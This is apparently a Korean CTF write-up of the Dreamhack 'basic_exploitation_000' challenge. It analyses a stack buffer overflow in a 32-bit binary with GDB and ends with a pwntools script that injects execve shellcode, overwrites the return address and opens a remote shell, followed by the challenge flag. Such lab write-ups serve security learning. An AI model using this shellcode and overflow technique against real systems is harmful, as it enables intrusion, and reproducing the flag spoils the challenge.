Dreamhack/Pwnable

[Dreamhack] basic_exploitation_000

핏디 2022. 4. 2. 22:43
SMALL

보호 기법 확인

  • 32bit 바이너리 → 주소가 4byte 단위
  • relro 없음 → got overwrite 가능(여기서는 딱히 필요 없을 것 같음)
  • 카나리 없음 → bof 공격 가능
  • nx bit 없음 → shellcode 삽입 가능
  • no pie → 주소가 그대로 일 것!

 

바이너리 실행

  • buf의 주소를 출력한 뒤, 사용자의 입력을 받고 있음
  • buf의 주소가 계속 바뀌고 있음 → ASLR이 걸려있기 때문!

 

문제 코드 분석 - basic_exploitation_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\\n", buf);
    scanf("%141s", buf);

    return 0;
}

main 함수

  • buf 배열에 0x80만큼 할당(여기서 0x80은 10진수로 128)
  • printf 함수를 통해 buf 배열 주소 반환
  • scanf 함수를 통해 141byte만큼 문자열을 입력 받아 buf 배열에 저장

💡 여기서 알 수 있는 점

buf 배열에는 128byte만큼 저장할 수 있는데 scanf 함수로 141byte만큼 입력할 수 있다. → 지정된 버퍼 크기보다 입력 값을 더 많이 줄 수 있어 BOF(Buffer Overflow) 취약점 발생

쉘을 실행하기 위한 함수가 특별하게 주어지지 않았으므로 shellcode를 이용해야 할 것으로 보임

GDB 정적 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483bc  _init
0x080483f0  printf@plt
0x08048400  signal@plt
0x08048410  alarm@plt
0x08048420  puts@plt
0x08048430  exit@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  __isoc99_scanf@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  alarm_handler
0x08048592  initialize
0x080485d9  main
0x08048610  __libc_csu_init
0x08048670  __libc_csu_fini
0x08048674  _fini
  • main: 0x080485d9

GDB 정적 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:	push   ebp
   0x080485da <+1>:	mov    ebp,esp
   0x080485dc <+3>:	add    esp,0xffffff80
   0x080485df <+6>:	call   0x8048592 <initialize>
   0x080485e4 <+11>:	lea    eax,[ebp-0x80]
   0x080485e7 <+14>:	push   eax
   0x080485e8 <+15>:	push   0x8048699
   0x080485ed <+20>:	call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:	add    esp,0x8
   0x080485f5 <+28>:	lea    eax,[ebp-0x80]
   0x080485f8 <+31>:	push   eax
   0x080485f9 <+32>:	push   0x80486a5
   0x080485fe <+37>:	call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:	add    esp,0x8
   0x08048606 <+45>:	mov    eax,0x0
   0x0804860b <+50>:	leave  
   0x0804860c <+51>:	ret    
End of assembler dump.
  • 사용자의 입력을 담는 버퍼(buf) 주소를 미리 가져온 후에 저장하는 형태로 진행 됨
   0x080485f5 <+28>:	lea    eax,[ebp-0x80]
   0x080485f8 <+31>:	push   eax
   0x080485f9 <+32>:	push   0x80486a5
   0x080485fe <+37>:	call   0x8048460 <__isoc99_scanf@plt>

→ lea로 buf 배열의 주소(ebp-0x80)를 가져와 eax에 저장하는 것을 알 수 있음

→ 여기서 사용자의 입력이 ebp-0x80부터 저장될 것이라는 것을 알 수 있음

→ 또한, 32bit 바이너리의 경우 [buffer] + [sfp (4byte)] + [ret] 의 형태로 구성되기 때문에 ebp-0x80에서 0x80이 buffer의 크기이고, 여기서 sfp 크기인 4byte를 더하면 메모리를 보지 않아도 ret까지의 offset(거리)를 알 수 있음

즉! 사용자가 132byte만큼 입력하면(0x80+4) ret에 도달하여 main함수를 종료하기 위한 return 값을 변조할 수 있음

 

메모리 구조 확인

  • main+42에 bp 걸어 임의의 값(다수의 a) 입력
    • main+37에 bp걸면 scanf 함수의 기능이 수행되지 않음
    • main+37에서 scanf 함수 원형의 내부 기능을 수행한 뒤의 결과가 아니라, scanf 함수의 내부를 들어가기 위해 준비중인 상태!
    • 즉, main+32의 push 0x80486a5의 결과가 반환된 상태임
    • 스텝오버(ni)를 진행해야 scanf 함수가 실행되어 사용자의 입력을 받음
    • 그렇기 때문에 그냥 main+42에(함수가 실행된 직후) bp 걸어 실행하면 편함!

  • ebp-0x80의 메모리를 확인해보면 임의의 입력으로 줬던 a(0x61)을 확인할 수 있음 → 메모리에는 16진수 형태로 저장되고, 리틀엔디언 형식이 적용됨
  • 0xffffd0fc에서 ret을 확인할 수 있음
  • 0xffffd0fc 에서 사용자 입력이 저장된 ebp-0x80의 주소(0xffffd078)을 빼주면 offset을 구할 수 있음 → 132!
  • 앞서 main 함수 디스어셈블 결과만 보고 찾은 것과 동일함을 알 수 있음

메모리에서 ret 찾는법

  • pwndbg나 peda에서 bp 걸어서 run 했을 때 보여주는 __libc_start_main+241 값을 보고 메모리에서 같은 값을 찾으면 보임

Exploit Algorithm

💡 dummy(shellcode) + dummy(132-shellcode_bytes) + buffer 주소(실시간으로 받아와야함)

 

Exploit

pwntool - shellcode

from pwn import *

p = remote('host1.dreamhack.games', 21806)
e = ELF('./basic_exploitation_000')

p.recvuntil("(")
buf = int(p.recv(10), 16)
p.recvline()

payload = "\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"
payload += "a"*(132-26)
payload += p32(buf)

p.sendline(payload)
p.interactive()

issue

💡 shellcraft가 안되는데 좀 더 찾아봐야 할 것 같다.

 

flag

💡 DH{465dd453b2a25a26a847a93d3695676d}

LIST